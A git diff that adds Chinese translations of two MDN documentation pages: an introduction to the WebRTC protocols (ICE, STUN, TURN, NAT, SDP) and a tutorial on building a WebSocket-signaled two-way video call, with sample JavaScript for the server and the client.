diff --git a/files/zh-cn/web/api/webrtc_api/protocols/index.html b/files/zh-cn/web/api/webrtc_api/protocols/index.html new file mode 100644 index 0000000000..a4304e290b --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/protocols/index.html @@ -0,0 +1,75 @@ +--- +title: WebRTC 协议介绍 +slug: Web/API/WebRTC_API/Protocols +tags: + - API + - ICE + - NAT + - SDP + - STUN + - WebRTC + - 初学者 + - 向导 + - 媒体 + - 视频 + - 音频 +translation_of: Web/API/WebRTC_API/Protocols +--- +

{{WebRTCSidebar}}{{draft}}

+ +

本文介绍了基于WebRTC API构建的协议。

+ +

ICE

+ +

交互式连接设施Interactive Connectivity Establishment (ICE) 是一个允许你的浏览器和对端浏览器建立连接的协议框架。在实际的网络当中,有很多原因能导致简单的从A端到B端直连不能如愿完成。这需要绕过阻止建立连接的防火墙,给你的设备分配一个唯一可见的地址(通常情况下我们的大部分设备没有一个固定的公网地址),如果路由器不允许主机直连,还得通过一台服务器转发数据。ICE通过使用以下几种技术完成上述工作。

+ +

STUN

+ +

NAT的会话穿越功能Session Traversal Utilities for NAT (STUN) (缩略语的最后一个字母是NAT的首字母)是一个允许位于NAT后的客户端找出自己的公网地址,判断出路由器阻止直连的限制方法的协议。

+ +

客户端通过给公网的STUN服务器发送请求获得自己的公网地址信息,以及是否能够被(穿过路由器)访问。

+ +

An interaction between two users of a WebRTC application involving a STUN server.

+ +

NAT

+ +

网络地址转换协议Network Address Translation (NAT) 用来给你的(私网)设备映射一个公网的IP地址的协议。一般情况下,路由器的WAN口有一个公网IP,所有连接这个路由器LAN口的设备会分配一个私有网段的IP地址(例如192.168.1.3)。私网设备的IP被映射成路由器的公网IP和唯一的端口,通过这种方式不需要为每一个私网设备分配不同的公网IP,但是依然能被外网设备发现。

+ +

一些路由器严格地限定了部分私网设备的对外连接。这种情况下,即使STUN服务器识别了该私网设备的公网IP和端口的映射,依然无法和这个私网设备建立连接。这种情况下就需要转向TURN协议。

+ +

TURN

+ +

一些路由器使用一种“对称型NAT”的NAT模型。这意味着路由器只接受和对端先前建立的连接(就是下一次请求建立新的连接映射)。

+ +

NAT的中继穿越方式Traversal Using Relays around NAT (TURN) 通过TURN服务器中继所有数据的方式来绕过“对称型NAT”。你需要在TURN服务器上创建一个连接,然后告诉所有对端设备发包到服务器上,TURN服务器再把包转发给你。很显然这种方式是开销很大的,所以只有在没得选择的情况下采用。

+ +

An interaction between two users of a WebRTC application involving STUN and TURN servers.

+ +

SDP

+ +

会话描述协议Session Description Protocol (SDP) 是一个描述多媒体连接内容的协议,例如分辨率,格式,编码,加密算法等。所以在数据传输时两端都能够理解彼此的数据。本质上,这些描述内容的元数据并不是媒体流本身。

+ +

从技术上讲,SDP并不是一个真正的协议,而是一种数据格式,用于描述在设备之间共享媒体的连接。

+ +

记录SDP远远超出了本文档的范围。但是,这里有几件事值得注意。

+ + + +

结构体

+ +

SDP由一行或多行UTF-8文本组成,每行以一个字符的类型开头,后跟等号(“ =”),然后是包含值或描述的结构化文本,其格式取决于类型。以给定字母开头的文本行通常称为“字母行”。例如,提供媒体描述的行的类型为“ m”,因此这些行称为“ m行”。

+ +

获取更多信息

+ +

要了解有关SDP的更多信息,请参见以下有用的资源:

+ + + + + +
+
+
diff --git a/files/zh-cn/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/zh-cn/web/api/webrtc_api/signaling_and_video_calling/index.html new file mode 100644 index 0000000000..f8f8ab33aa --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -0,0 +1,674 @@ +--- +title: 信令与视频通话 +slug: Web/API/WebRTC_API/Signaling_and_video_calling +translation_of: Web/API/WebRTC_API/Signaling_and_video_calling +--- +

{{WebRTCSidebar}}

+ +

WebRTC允许在两个设备之间进行实时的对等媒体交换。通过称为信令的发现和协商过程建立连接。本教程将指导你构建双向视频通话。

+ +

WebRTC是一个完全对等技术,用于实时交换音频、视频和数据,同时提供一个中心警告。如其他地方所讨论的,必须进行一种发现和媒体格式协商,以使不同网络上的两个设备相互定位。这个过程被称为信令,并涉及两个设备连接到第三个共同商定的服务器。通过这个第三方服务器,这两台设备可以相互定位,并交换协商消息。

+ +

在本文中,我们将进一步扩充 WebSocket chat 作为我们的WebSocket文档的一部分(本文链接即将发布;它实际上还没有在线),以支持在用户之间的双向视频通话。你可以在Glitch上查看这个例子,你也尝试修改这个例子。您还可以在GitHub上查看完整的项目代码。

+ +
+

注意:如果你尝试在Glitch的例子,请注意任何代码的改动将立即重置所有连接。并且这个例子有短暂的延迟;Glitch的例子仅仅作为简单的实验和测试用途。

+
+ +

信令服务器

+ +

两个设备之间建立WebRTC连接需要一个信令服务器来实现双方通过网络进行连接。信令服务器的作用是作为一个中间人帮助双方在尽可能少的暴露隐私的情况下建立连接。那我们如何实现这个服务器并且它是如何工作的呢?

+ +

WebRTC并没有提供信令传递机制,你可以使用任何你喜欢的方式如WebSocket 或者{{domxref("XMLHttpRequest")}} 等等,来交换彼此的令牌信息。

+ +

重要的是信令服务器并不需要理解和解释信令数据内容。虽然它基于 {{Glossary("SDP")}}但这并不重要:通过信令服务器的消息的内容实际上是一个黑盒。重要的是,当{{Glossary("ICE")}}子系统指示你将信令数据发送给另一个对等方时,你就这样做,而另一个对等方知道如何接收此信息并将其传递给自己的ICE子系统。你所要做的就是来回传递信息。内容对信令服务器一点都不重要。

+ +

开始准备聊天服务器来处理信令

+ +

我们的聊天服务器和客户端使用 WebSocket API  {{Glossary("JSON")}} 格式的字符串来传递数据。服务器支持多种消息格式来处理不同的任务,比如注册新用户、设置用户名、发送公共信息等等。

+ +

为了让服务器支持信令和ICE协商,我们需要升级代码,我们需要直接发送聊天系统到指定的用户而不是发送给所有人,并且保证服务器在不需要理解数据内容的情况下传递未被认可的任何消息类型。这让我们可以使用一台服务器来传递信令和消息而不是多台。

+ +

让我们看一下我们还需要做些什么让它支持WebRTC信令. 代码在 chatserver.js.中实现。

+ +

首先来看 sendToOneUser()  函数,如名所示它发送JSON字符串到指定的用户。

+ +
function sendToOneUser(target, msgString) {
+  var isUnique = true;
+  var i;
+
+  for (i=0; i<connectionArray.length; i++) {
+    if (connectionArray[i].username === target) {
+      connectionArray[i].sendUTF(msgString);
+      break;
+    }
+  }
+}
+ +

这个函数遍历所有在线用户直到找到给定的用户名然后发送数据 msgString 一个JSON字符串对象,我们可以让它接收我们的原始消息对象,但是在当前这种情况下它的效率更高因为我们的消息已经字符串化了,我们达到了不需要进一步处理就可以发送消息的目的。

+ +

我们原来的DEMO不能发送消息到指定的用户,我们可以通过修改WebSocket消息处理句柄来实现这个功能,这需要在 connection.on() 尾部修改。

+ +
if (sendToClients) {
+  var msgString = JSON.stringify(msg);
+  var i;
+
+  // If the message specifies a target username, only send the
+  // message to them. Otherwise, send it to every user.
+  if (msg.target && msg.target !== undefined && msg.target.length !== 0) {
+    sendToOneUser(msg.target, msgString);
+  } else {
+    for (i=0; i<connectionArray.length; i++) {
+      connectionArray[i].sendUTF(msgString);
+    }
+  }
+}
+ +

代码会检查我们的数据是否提供了 target 属性. 这个属性包含了我们想要发送给的人的用户名。如果提供了 target 属性, 通过调用 sendToOneUser() 消息将只发送给指定的人. 否则的话将遍历在线列表发送给每一个人。

+ +

由于现行的代码可以发送任意类型的消息,所以我们不需要做任何的修改。现在我们的客户端可以发送任意消息给指定的用户。

+ +

我们需要做的在服务器这边,现在我们来考虑信令协议的设计与实现。

+ +

设计信令协议

+ +

 现在我们要构建一套信息交换规则,我们需要一套协议来定义消息格式。实现这个有好多种办法,demo里只是其中一种,并不是唯一。

+ +

例子中的服务器使用字符串化的JSON对象来和客户端通信,意味着我们的信令消息也将使用JSON格式,其内容指定消息类型和如何处理这些消息。

+ +

交换会话描述信息

+ +

开始处理信号的时候,用户的初始化操作会创建一个请求(offer) ,根据 {{Glossary("SDP")}} 协议其中会包含一个session描述符,并且需要把这个发送到我们称之为接收者(callee)那里, 接受者需要返回一个包含描述符的应答(answer)信息。我们的服务器使用 WebSocket 来传递 "video-offer" "video-answer"  两种类型的消息数据。这些消息包含以下属性:

+ +
+
 type
+
消息类型; "video-offer" 或 "video-answer"
+
name
+
发送者用户名
+
target
+
接受者的用户名(如果呼叫者正在发送消息,则指定被呼叫者,反之亦然)
+
sdp
+
描述连接本地端SDP(Session Description Protocol)协议字符串(从接收者的角度来看,它描述远程端)
+
+ +

到此为止双方都知道使用什么样的代码和参数进行通信了。尽管如此他们仍然不知道自己该如何传递媒体数据。 {{Glossary('ICE', 'Interactive Connectivity Establishment (ICE)')}}协议该上场了。

+ +

交换 ICE 候选

+ +

两个节点需要交换ICE候选来协商他们自己具体如何连接。每一个ICE候选描述一个发送者使用的通信方法,每个节点按照他们被发现的顺序发送候选并且保持发送直到退出,即使媒体数据流已经开始传递也要如此。

+ +

使用 pc.setLocalDescription(offer) 添加本地描述符后一个 icecandidate 事件将被发送到 {{domxref("RTCPeerConnection")}} 

+ +

一旦两端同意了一个互相兼容的候选,该候选的SDP就被用来创建并打开一个连接,通过该连接媒体流就开始运转。如果之后他们同意了一个更好(通常更高效)的候选,流亦会按需变更格式。

+ +

虽然当前并未被支持,一个候选在媒体流已经开始运转之后理论上如果需要的话也可以降级至一个低带宽的连接。

+ +

每个 ICE候选通过信令服务器发送一个 "new-ice-candidate" 类型的JSON信息来送给远程的另一端。每个候选信息包括以下字段:

+ +
+
类型
+
消息类型: "new-ice-candidate".
+
目标
+
待建立联系人的用户名;服务器将仅会管理与该用户的信息。
+
候选
+
SDP候选字符串,描述了计划的连接方法。通常不需要查看此字符串的内容。你需要做的所有代码都是使用信令服务器将其路由到远程对等机。
+
+ +

每个ICE消息都建议提供一个通信协议(TCP或UDP)、IP地址、端口号、连接类型(例如,指定的IP是对等机本身还是中继服务器),以及将两台计算机连接在一起所需的其他信息。这包括NAT或其他网络问题。

+ +
+

注意: 最需要注意的是: 你的代码在ICE协商期间唯一需要负责的是从ICE层接受外向候选并通过与另一端的信号连接发送他们,当你的  {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 控制器已经执行后, 同时从信令服务器接收 ICE候选消息 (当接收到 "new-ice-candidate" 消息时) 然后通过调用{{domxref("RTCPeerConnection.addIceCandidate()")}}发送他们到你的ICE层。 嗯,就是这样。

+ +

SDP的内容基本上在所有情况下都是与你不相关的。在你真正知道自己在做什么之前,不要试图让事情变得更复杂。否则情况会非常混乱。

+
+ +

你的信令服务器现在需要做的就是发送它请求的消息。你的工作流还可能需要登录/身份验证功能,但这些细节都是大同小异的。

+ +

信令事务流程

+ +

信令过程涉及到使用中间层信令服务器在两个对等机之间交换消息。当然,具体的处理过程会有所不同,但一般来说,处理信令消息的关键点有以下几个:

+ +

信令过程涉及多个点之间的消息交换:

+ + + +

假设Naomi和Priya正在使用聊天软件进行讨论,Naomi决定在两人之间打开一个视频通话。以下是预期的事件顺序:

+ +

Diagram of the signaling process

+ +

在本文的整个过程中,我们将看到更详细的信息。

+ +

ICE 候选交换过程

+ +

当每端的ICE层开始发送候选时,它会在链中的各个点之间进行交换,如下所示:

+ +

Diagram of ICE candidate exchange process

+ +

每一端从本地的ICE层接收候选时,都会将其发送给另一方;不存在轮流或成批的候选。一旦两端就一个候选达成一致,双方就都可以用此候选来交换媒体数据,媒体数据就开始流动。即使在媒体数据已经开始流动之后,每一端都会继续向候选发送消息,直到他们没有选择的余地。这样做是为了找到比最初选择的更好的选择。

+ +

如果条件发生变化,例如网络连接恶化,一个或两个对等方可能建议切换到较低带宽的媒体分辨率,或其他编解码器。这将触发新的候选交换,之后可能会发生另一种媒体格式和/或编解码器更改。

+ +

作为可选项, 查看 {{RFC(5245, "Interactive Connectivity Establishment")}}, section 2.6 ("Concluding ICE")如果你想更深入地了解这一过程,就要在ICE层内部完成。你应该注意到,候选交换后,一旦ICE层满足要求,媒体数据就开始流动。所有这些都是在幕后处理端。我们的任务就是简单地通过信令服务器来回发送候选。

+ +

客户端应用

+ +

任何信号处理的核心是其消息处理。使用WebSockets来发送信号并不是必须的,但这是一种常见的解决方案。当然,您应该选择一种机制来交换适合你的应用程序的信号信息。

+ +

让我们更新聊天客户端以支持视频呼叫。

+ +

更新 HTML

+ +

我们客户端的HTML需要一个视频显示位置。也就是视频框和挂断电话的按钮:

+ +
      <div class="flexChild" id="camera-container">
+        <div class="camera-box">
+          <video id="received_video" autoplay></video>
+          <video id="local_video" autoplay muted></video>
+          <button id="hangup-button" onclick="hangUpCall();" disabled>
+            Hang Up
+          </button>
+        </div>
+      </div>
+ +

此处定义的页面结构使用了 {{HTMLElement("div")}} 元素,通过启用CSS,我们可以完全控制页面布局。我们将跳过本指南中的布局细节,但你可以看看GitHub上的CSS,了解如何处理它。 注意这两个 {{HTMLElement("video")}} 元素,一个用于观看自己,一个用于连接,还有 {{HTMLElement("button")}} 元素.

+ +

 id  为 "received_video" 的 <video> 元素将显示从连接的用户接收的视频。我们指定了autoplay 属性,确保一旦视频到达,它立即播放。这消除了在代码中显式处理回放的任何需要。"local_video<video> 元素显示用户相机的预览;指定 muted 属性,因为我们不需要在此预览面板中听到本地音频。

+ +

最后,定义"hangup-button" {{HTMLElement("button")}} 来挂断一个呼叫,并将其配置为禁用启动(将此设置为未连接任何调用时的默认设置),并在单击时调用函数  hangUpCall() 。这个函数的作用是关闭调用,并向另一个对等端发送一个信号服务器通知,请求它也关闭。

+ +

JavaScript 代码

+ +

我们将把这段代码划分为多个功能区,以便更容易地描述它是如何工作的。该代码的主体位于 connect() 函数中:它在6503端口上打开一个{{domxref("WebSocket")}} 服务器,并建立一个处理程序来接收JSON对象格式的消息。此代码通常像以前那样处理文本聊天消息。

+ +

向信令服务器发送信息

+ +

在整个代码中,我们调用 sendToServer() 以便向信令服务器发送消息。此函数使用WebSocket连接执行其工作:

+ +
function sendToServer(msg) {
+  var msgJSON = JSON.stringify(msg);
+
+  connection.send(msgJSON);
+}
+ +

通过调用{{jsxref("JSON.stringify()")}},将传递到此方法的消息对象转换为json字符串,然后调用WebSocket连接的 {{domxref("WebSocket.send", "send()")}} 方法将消息传输到服务器。

+ +

开始通话的交互

+ +

处理 "userlist" 消息的代码会调用 handleUserlistMsg()。在这里,我们在聊天面板左侧显示的用户列表中为每个连接的用户设置处理程序。此方法接收一个消息对象,其 users 属性是一个字符串数组,指定每个连接用户的用户名。

+ +
function handleUserlistMsg(msg) {
+  var i;
+  var listElem = document.querySelector(".userlistbox");
+
+  while (listElem.firstChild) {
+    listElem.removeChild(listElem.firstChild);
+  }
+
+  msg.users.forEach(function(username) {
+    var item = document.createElement("li");
+    item.appendChild(document.createTextNode(username));
+    item.addEventListener("click", invite, false);
+
+    listElem.appendChild(item);
+  });
+}
+ +

在获得对 {{HTMLElement("ul")}} 的引用(其中包含变量 listElem中的用户名列表)后,我们通过删除其每个子元素清空列表。

+ +
+

注意:显然,通过添加和删除单个用户而不是每次更改时都重新构建整个列表来更新列表会更有效,但对于本例而言,这已经足够好了。

+
+ +

然后我们使用 {{jsxref("Array.forEach", "forEach()")}} 迭代用户名数组。对于每个名称,我们创建一个新的 {{HTMLElement("li")}} 元素,然后使用{{domxref("Document.createTextNode", "createTextNode()")}} 创建一个包含用户名的新文本节点。该文本节点被添加为 <li> 元素的子节点。接下来,我们为列表项上的 {{event("click")}} 事件设置一个处理程序,单击用户名将调用 invite() 方法,我们将在下一节中查看该方法。

+ +

开始一个通话

+ +

当用户单击要调用的用户名时,将调用 invite() 函数作为该事件的事件处理程序 {{event("click")}} 事件:

+ +
var mediaConstraints = {
+  audio: true, // We want an audio track
+  video: true // ...and we want a video track
+};
+
+function invite(evt) {
+  if (myPeerConnection) {
+    alert("You can't start a call because you already have one open!");
+  } else {
+    var clickedUsername = evt.target.textContent;
+
+    if (clickedUsername === myUsername) {
+      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      return;
+    }
+
+    targetUsername = clickedUsername;
+
+    createPeerConnection();
+
+    navigator.mediaDevices.getUserMedia(mediaConstraints)
+    .then(function(localStream) {
+      document.getElementById("local_video").srcObject = localStream;
+      myPeerConnection.addStream(localStream);
+    })
+    .catch(handleGetUserMediaError);
+  }
+}
+ +

这从一个基本的健全性检查开始:用户是否连在一起?如果没有{{domxref("RTCPeerConnection")}} ,他们显然无法进行呼叫。然后,从事件目标的 {{domxref("Node.textContent", "textContent")}} 属性中获取单击的用户的名称,并检查以确保尝试启动调用的不是同一个用户。

+ +

然后我们将要调用的用户的名称复制到变量 targetUsername 中,并调用 createPeerConnection(),该函数将创建并执行{{domxref("RTCPeerConnection")}} 的基本配置。

+ +

创建 RTCPeerConnection 后,我们通过调用 {{domxref("MediaDevices.getUserMedia()")}},请求访问用户的相机和麦克风,该命令通过 {{domxref("Navigator.mediaDevices.getUserMedia")}} 属性向我们公开。当成功完成返回的promise时,将执行我们的 then 处理程序。它接收一个 {{domxref("MediaStream")}} 对象作为输入,该对象表示来自用户麦克风的音频和来自网络摄像机的视频流。

+ +
+

注意:我们可以通过调用 {{domxref("MediaDevices.enumerateDevices", "navigator.mediaDevices.enumerateDevices()")}} 获取设备列表,根据所需条件筛选结果列表,然后使用所选设备{{domxref("MediaTrackConstraints.deviceId", "deviceId")}} 传入getUserMedia()  mediaConstraints 对象的deviceId 字段中的值。事实上,除非必须要不然很少这样用,因为大部分工作都是由 getUserMedia()为你完成的。

+
+ +

我们通过设置元素的 {{domxref("HTMLMediaElement.srcObject", "srcObject")}} 属性,将传入流附加到本地预览  {{HTMLElement("video")}} 元素。由于元素被配置为自动播放传入的视频,因此流开始在本地预览框中播放。

+ +

然后遍历流中的磁道,调用 {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} 将每个磁道添加到 RTCPeerConnection。尽管连接尚未完全建立,但必须尽快开始向其发送媒体数据,因为媒体数据将帮助ICE层决定采取的最佳连接方式,这有助于协商过程。

+ +

一旦媒体数据连接到 RTCPeerConnection,就会在连接处触发事件{{event("negotiationneeded")}} 事件,以便启动ICE协商。

+ +

如果在尝试获取本地媒体流时发生错误,catch子句将调用handleGetUserMediaError(),根据需要向用户显示适当的错误。

+ +

处理 getUserMedia() 错误

+ +

如果 getUserMedia() 返回的promise失败,将执行handleGetUserMediaError() 函数。

+ +
function handleGetUserMediaError(e) {
+  switch(e.name) {
+    case "NotFoundError":
+      alert("Unable to open your call because no camera and/or microphone" +
+            "were found.");
+      break;
+    case "SecurityError":
+    case "PermissionDeniedError":
+      // Do nothing; this is the same as the user canceling the call.
+      break;
+    default:
+      alert("Error opening your camera and/or microphone: " + e.message);
+      break;
+  }
+
+  closeVideoCall();
+}
+ +

除了一条错误信息外,所有情况下都会显示一条错误信息。在本例中,我们忽略"SecurityError" 和 "PermissionDeniedError" 结果,处理拒绝授予使用媒体硬件的权限与用户取消呼叫的方法是相同的。

+ +

不管尝试获取流失败的原因是什么,我们调用 closeVideoCall()函数关闭 {{domxref("RTCPeerConnection")}},并释放尝试调用过程中已分配的任何资源。此代码旨在安全地处理部分启动的调用。

+ +

创建端到端连接

+ +

调用方和被调用方都使用 createPeerConnection() 函数来构造它们的 {{domxref("RTCPeerConnection")}} 对象及其各自的WebRTC连接端。当调用者试图启动调用时,由 invite() 调用;当被调用者从调用者接收到要约消息时,由handleVideoOfferMsg() 调用。

+ +
function createPeerConnection() {
+  myPeerConnection = new RTCPeerConnection({
+      iceServers: [     // Information about ICE servers - Use your own!
+        {
+          urls: "stun:stun.stunprotocol.org"
+        }
+      ]
+  });
+
+  myPeerConnection.onicecandidate = handleICECandidateEvent;
+  myPeerConnection.ontrack = handleTrackEvent;
+  myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+  myPeerConnection.onremovetrack = handleRemoveTrackEvent;
+  myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+  myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+  myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+}
+ +

当使用 {{domxref("RTCPeerConnection.RTCPeerConnection", "RTCPeerConnection()")}} 构造函数时,我们将指定一个{{domxref("RTCConfiguration")}}-兼容对象,为连接提供配置参数。在这个例子中,我们只使用其中的一个: iceServers。这是描述 {{Glossary("ICE")}} 层的STUN和/或TURN服务器的对象数组,在尝试在呼叫者和被呼叫者之间建立路由时使用。这些服务器用于确定在对等端之间通信时要使用的最佳路由和协议,即使它们位于防火墙后面或使用 {{Glossary("NAT")}}。

+ +
+

注意:你应该始终使用你拥有的或你有特定授权使用的STUN/TURN服务器。这个例子是使用一个已知的公共服务器,但是滥用这些是不好的。

+
+ +

iceServers 中的每个对象至少包含一个 urls 字段,该字段提供可以访问指定服务器的URLs。它还可以提供 username 和 credential值,以便在需要时进行身份验证。

+ +

在创建了 {{domxref("RTCPeerConnection")}} 之后,我们为对我们重要的事件设置了处理程序。

+ +

前三个事件处理程序是必需的;你必须处理它们才能使用WebRTC执行任何涉及流媒体的操作。其余的并不是严格要求的,但可能有用,我们将对此进行探讨。在这个例子中,还有一些其他的事件我们没有使用。下面是我们将要实现的每个事件处理程序的摘要:

+ +

{{domxref("RTCPeerConnection.onicecandidate")}}

+ +
+
+

当需要你通过信令服务器将一个ICE候选发送给另一个对等端时,本地ICE层将会调用你的 {{event("icecandidate")}} 事件处理程序。有关更多信息,请参阅{{anch("Sending ICE candidates")}} 以查看此示例的代码。

+
+
{{domxref("RTCPeerConnection.ontrack")}}
+
当向连接中添加磁道时,{{event("track")}} 事件的此处理程序由本地WebRTC层调用。例如,可以将传入媒体连接到元素以显示它。详见 {{anch("Receiving new streams")}} 。
+
{{domxref("RTCPeerConnection.onnegotiationneeded")}}
+
每当WebRTC基础结构需要你重新启动会话协商过程时,都会调用此函数。它的工作是创建和发送一个请求,给被叫方,要求它与我们联系。参见{{anch("Starting negotiation")}} 了解我们如何处理这一问题。
+
{{domxref("RTCPeerConnection.onremovetrack")}}
+
调用与 ontrack相对应的对象来处理 {{event("removetrack")}} 事件;当远程对等端从正在发送的媒体中删除磁道时,它将发送到RTCPeerConnection 。参见 {{anch("Handling the removal of tracks")}} 。
+
{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}
+
ICE层发送{{event("iceconnectionstatechange")}} 事件,让你了解ICE连接状态的更改。这可以帮助你了解连接何时失败或丢失。我们将在下面的{{anch("ICE connection state")}} 中查看此示例的代码。
+
{{domxref("RTCPeerConnection.onicegatheringstatechange")}}
+
当ICE代理收集候选对象的过程从一个状态切换到另一个状态(例如开始收集候选对象或完成协商)时,ICE层将向你发送事件(“ICegulatingStateChange”)事件。见下文 {{anch("ICE gathering state")}}。
+
{{domxref("RTCPeerConnection.onsignalingstatechange")}}
+
+

当信令进程的状态更改时(或如果到信令服务器的连接更改时),WebRTC架构将向你发送 {{event("signalingstatechange")}} 消息。参见{{anch("Signaling state")}} 查看我们的代码。

+
+
+ +

开始协商

+ +

一旦调用者创建了其 {{domxref("RTCPeerConnection")}} ,创建了媒体流,并将其磁道添加到连接中,如 {{anch("Starting a call")}} 所示,浏览器将向{{domxref("RTCPeerConnection")}} 传递一个 {{event("negotiationneeded")}} 事件,以指示它已准备好开始与其他对等方协商。以下是我们处理 {{event("negotiationneeded")}} 事件的代码:

+ +
function handleNegotiationNeededEvent() {
+  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(reportError);
+}
+ +

要开始协商过程,我们需要创建一个SDP请求并将其发送给我们想要连接的对等端。此请求包括支持的连接配置列表,包括有关我们在本地添加到连接的媒体流(即,我们希望发送到呼叫另一端的视频)的信息,以及ICE层已经收集到的任何ICE候选。我们通过调用 {{domxref("RTCPeerConnection.createOffer", "myPeerConnection.createOffer()")}} 创建此请求。

+ +

当 createOffer() 成功(执行promise)时,我们将创建的请求信息传递到{{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}} ,它为调用方的连接端配置连接和媒体配置状态。

+ +
+

注意:从技术上讲, createOffer() 返回的字符串是{{RFC(3264)}} 请求。

+
+ +

我们知道描述是有效的,并且在满足setLocalDescription() 返回的promise时已经设置好了。也就是说我们创建了一个包含本地描述(现在与请求相同)的新 "video-offer" 消息,然后通过我们的信令服务器将请求发送给被叫方。请求有以下要素:

+ +
+
type
+
消息类型: "video-offer".
+
name
+
调用方的用户名。
+
target
+
被调用方的用户名
+
sdp
+
SDP 字符串描述了请求
+
+ +

如果在初始 createOffer() 或后面的任何实现处理程序中发生错误,则通过调用 reportError() 函数报告错误。

+ +

在 setLocalDescription()的实现处理程序运行后,ICE代理开始向其发现的每个潜在 {{domxref("RTCPeerConnection")}} 配置发送 {{event("icecandidate")}} 事件。我们的 icecandidate 事件处理程序负责将候选对象传输到另一个对等方。

+ +

会话协商

+ +

既然我们已经开始与另一个对等方进行协商并传输了一个请求,那么让我们来看一下在连接的被叫方方面会发生什么。被调用方接收该请求并调用 handleVideoOfferMsg()函数来处理它。让我们看看被叫方如何处理 "video-offer" 消息。

+ +
处理请求
+ +

当请求到达时,调用被调用方的 handleVideoOfferMsg() 函数时会收到"video-offer" 消息。这个函数需要做两件事。首先,它需要创建自己的{{domxref("RTCPeerConnection")}} 并添加包含麦克风和网络摄像头的音频和视频的磁道。其次,它需要对收到的请求进行处理,构建并返回应答。

+ +
function handleVideoOfferMsg(msg) {
+  var localStream = null;
+
+  targetUsername = msg.name;
+  createPeerConnection();
+
+  var desc = new RTCSessionDescription(msg.sdp);
+
+  myPeerConnection.setRemoteDescription(desc).then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function(stream) {
+    localStream = stream;
+    document.getElementById("local_video").srcObject = localStream;
+
+    localStream.getTracks().forEach(track => myPeerConnection.addTrack(track, localStream));
+  })
+  .then(function() {
+    return myPeerConnection.createAnswer();
+  })
+  .then(function(answer) {
+    return myPeerConnection.setLocalDescription(answer);
+  })
+  .then(function() {
+    var msg = {
+      name: myUsername,
+      target: targetUsername,
+      type: "video-answer",
+      sdp: myPeerConnection.localDescription
+    };
+
+    sendToServer(msg);
+  })
+  .catch(handleGetUserMediaError);
+}
+ +

此代码与我们在 {{anch("Starting a call")}} 中在 invite() 函数中所做的非常相似。它首先使用 createPeerConnection() 函数创建和配置{{domxref("RTCPeerConnection")}} 。然后,它从收到的 "video-offer" 消息中获取SDP请求,并使用它创建一个表示调用方会话描述的新 {{domxref("RTCSessionDescription")}} 对象。

+ +

然后将该会话描述传递到 {{domxref("RTCPeerConnection.setRemoteDescription", "myPeerConnection.setRemoteDescription()")}}。这将把接收到的请求建立为连接的远程(调用方)端的描述。如果成功,promise成功处理程序(在then()子句中)将使用 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}},将磁道添加到连接,以此类推,如前面在 invite()中看到的那样。

+ +

一旦使用 {{domxref("RTCPeerConnection.createAnswer", "myPeerConnection.createAnswer()")}} 创建了应答,通过调用{{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}} 连接本地端的描述被设置为应答的SDP,则通过信令服务器将应答发送给调用者,让他们知道应答是什么。

+ +

捕捉到的任何错误都会被传递给 handleGetUserMediaError(),详见 {{anch("Handling getUserMedia() errors")}} 。

+ +
+

注意:与调用者的情况一样,一旦 setLocalDescription()实现处理程序运行完毕,浏览器将开始触发被调用者必须处理的{{event("icecandidate")}} 事件,每个需要传输到远程对等方的候选事件对应一个事件。

+
+ +
发送 ICE 候选
+ +

ICE协商过程涉及到每一个对等端不断地向另一个对等端发送候选,直到它用尽了支持 RTCPeerConnection的媒体传输需求的潜在方法。因为ICE不知道你的信令服务器,所以你的处理程序代码需要处理 {{event("icecandidate")}} 事件中每个候选的传输。

+ +

你的 {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 处理程序接收一个事件,该事件的候选属性是描述该候选的SDP(或为 null ,表示ICE层已耗尽建议的潜在配置)。候选的内容是你需要使用信令服务器传输的内容。下面是我们的示例实现:

+ +
function handleICECandidateEvent(event) {
+  if (event.candidate) {
+    sendToServer({
+      type: "new-ice-candidate",
+      target: targetUsername,
+      candidate: event.candidate
+    });
+  }
+}
+ +

这将构建一个包含候选对象的对象,然后使用前面在 {{anch("Sending messages to the signaling server")}} 中描述的sendToServer() 函数将其发送给另一个对等方。消息属性为:

+ +

type

+ +
+
消息类型: "new-ice-candidate".
+
target
+
ICE候选需要传递到的用户名。这允许信令服务器路由消息。
+
candidate
+
代表ICE层想要传输给另一个对等体的候选体的SDP。
+
+ +

此消息的格式(与处理信号时所做的所有操作一样)完全取决于你的需要;你可以根据需要提供其他信息。

+ +
+

注意:重要的是要记住, {{event("icecandidate")}} 事件不会在ICE候选从呼叫的另一端到达时发送。相反,它们是由你自己的呼叫端发送的,这样你就可以承担通过你选择的任何通道传输数据的任务。当你刚接触WebRTC时,这会让人困惑。

+
+ +
接收 ICE 候选
+ +

信令服务器使用它选择的任何方法将每个ICE候选传递给目标对等机;在我们的示例中,我们用的是JSON对象, type 属性包含字符串 "new-ice-candidate"。我们的r handleNewICECandidateMsg() 函数由主WebSocket传入消息代码调用,以处理这些消息:

+ +
function handleNewICECandidateMsg(msg) {
+  var candidate = new RTCIceCandidate(msg.candidate);
+
+  myPeerConnection.addIceCandidate(candidate)
+    .catch(reportError);
+}
+ +

